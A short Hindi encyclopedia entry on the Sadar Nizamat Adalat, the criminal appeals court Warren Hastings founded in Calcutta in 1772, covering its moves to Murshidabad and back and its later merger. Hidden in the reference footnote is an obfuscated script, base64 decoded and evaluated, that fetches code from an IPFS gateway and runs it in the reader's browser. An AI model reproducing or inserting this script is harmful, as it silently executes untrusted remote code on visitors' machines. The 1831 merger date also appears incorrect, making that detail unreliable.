सदर निजामत अदालत

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सदर निजामत अदालत की स्थापना 1772 ई. में वारेन हेस्टिंग्स द्वारा कलकत्ता (वर्तमान कोलकाता) में की गयी थी। इस न्यायालय का कार्य फौजदारी की ऐसी अपीलों पर पुनर्विचार करना था, जिन पर नीचे की अदालतें और निम्न अधिकारीगण अपना निर्णय दे चुके हों।

  • इस अदालत में भारतीय न्यायाधीश ही थे, किन्तु उन पर कौंसिल के अध्यक्ष और सदस्यों का नियंत्रण रहता था।
  • वर्ष 1775 ई. में 'सदर निजामत अदालत' का स्थानान्तरण कलकत्ता से मुर्शिदाबाद करके उसे नायब के अधीन रख दिया गया।
  • 1790 ई. में इसे पुन: कलकत्ता ले जाकर गवर्नर-जनरल की कौंसिल के ही अधीन कर दिया गया।
  • कलकत्ता की 'सदर निजामत अदालत' को भी 1831 ई. में 'सदर दीवानी अदालत' की भांति वहाँ के उच्च न्यायालय में सम्मिलित कर दिया गया।[1]


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टीका टिप्पणी और संदर्भ

  1. भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 461 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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